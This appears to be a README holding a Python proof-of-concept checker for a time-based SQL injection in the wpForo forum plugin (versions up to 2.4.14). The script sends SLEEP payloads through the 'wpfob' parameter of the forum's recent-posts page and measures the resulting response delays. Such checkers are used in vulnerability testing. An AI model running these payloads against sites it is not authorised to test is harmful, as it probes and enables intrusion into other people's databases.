README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-1581 — wpForo <= 2.4.14 Time-Based SQLi Timing Checker
USAGE:
python3 poc.py http://localhost:8081
python3 poc.py http://localhost:8081/community
python3 poc.py http://127.0.0.1:8082
"""
import sys
import time
import statistics
from urllib.parse import urlparse, urljoin
import requests
SLEEP_SECONDS = 5
BASELINE_RUNS = 3
TIMEOUT = 20
MIN_DELTA_SECONDS = 2.0
def die(msg: str, code: int = 1) -> None:
print(msg)
sys.exit(code)
def normalize_base(base_url: str) -> str:
if "://" not in base_url:
base_url = "http://" + base_url
if not base_url.endswith("/"):
base_url += "/"
return base_url
def guess_community_base(session: requests.Session, base_url: str) -> str:
parsed = urlparse(base_url)
path = parsed.path or "/"
if path.rstrip("/").endswith("/community"):
return base_url.rstrip("/") + "/"
cand = urljoin(base_url, "community/")
try:
r = session.get(cand, timeout=TIMEOUT, allow_redirects=True)
if r.status_code < 400:
return cand
die(f"[-] Probe failed: {cand} returned HTTP {r.status_code}. "
"Forum slug may not be '/community/'.")
except requests.RequestException as e:
die(f"[-] Cannot connect/probe {cand}: {e}")
def probe_or_die(session, url):
try:
r = session.get(url, timeout=TIMEOUT, allow_redirects=True)
if r.status_code >= 400:
die(f"[-] Probe failed: {url} returned HTTP {r.status_code}")
except requests.RequestException as e:
die(f"[-] Probe failed: {url} error: {e}")
def measure(session: requests.Session, url: str, params: dict) -> float:
t0 = time.perf_counter()
try:
r = session.get(url, params=params, timeout=TIMEOUT, allow_redirects=True)
_ = r.text[:1]
except requests.RequestException as e:
die(f"[-] Request failed: {url} params={params}: {e}")
return time.perf_counter() - t0
def median_baseline(session: requests.Session, recent_url: str) -> float:
times = []
params = {"view": "opened"}
print(f"[*] Measuring baseline on: {recent_url}")
for i in range(BASELINE_RUNS):
t = measure(session, recent_url, params)
times.append(t)
print(f" Run {i+1}: {t:.3f}s")
base = statistics.median(times)
print(f"[*] Baseline (median): {base:.3f}s\n")
return base
def check(session: requests.Session, recent_url: str, baseline: float) -> bool:
"""
Try payloads in order; return True on first confirmed delay
"""
payloads = [
f"modified,(SELECT SLEEP({SLEEP_SECONDS}))",
f"modified,(SELECT IF(1=1,SLEEP({SLEEP_SECONDS}),0))",
]
for payload in payloads:
params = {"view": "opened", "wpfob": payload}
print(f"[*] Testing payload: {payload}")
t = measure(session, recent_url, params)
delta = t - baseline
print(f" Response: {t:.3f}s (delta: {delta:.3f}s)")
if delta >= max(MIN_DELTA_SECONDS, SLEEP_SECONDS * 0.6):
print(" [+] Delay detected")
return True
else:
print(" [-] No significant delay")
print("\n[!] If you expected a delay but got none:")
print(" - Ensure wpForo has at least 1 topic and 1 post")
return False
def main() -> None:
if len(sys.argv) < 2:
die(f"Usage: {sys.argv[0]} <base_url>\nExample: {sys.argv[0]} http://localhost:8081/community")
user_url = sys.argv[1].strip()
base_url = normalize_base(user_url)
print("=" * 60)
print("CVE-2026-1581 — wpForo SQLi Timing Checker (LAB ONLY)")
print(f"Input: {user_url}")
print("=" * 60)
session = requests.Session()
community_base = guess_community_base(session, base_url).rstrip("/") + "/"
recent_url = urljoin(community_base, "recent/")
print(f"[*] Using community base: {community_base}")
print(f"[*] Using recent URL: {recent_url}\n")
probe_or_die(session, recent_url)
baseline = median_baseline(session, recent_url)
vulnerable = check(session, recent_url, baseline)
print("\n" + "=" * 60)
if vulnerable:
print("[VULNERABLE] Time-based delay detected (likely wpForo <= 2.4.14)")
print(" Upgrade to 2.4.15+")
else:
print("[NOT VULNERABLE] No time-based delay detected")
print(" Target may be patched or dataset is empty/route mismatch")
print("=" * 60)
if __name__ == "__main__":
main()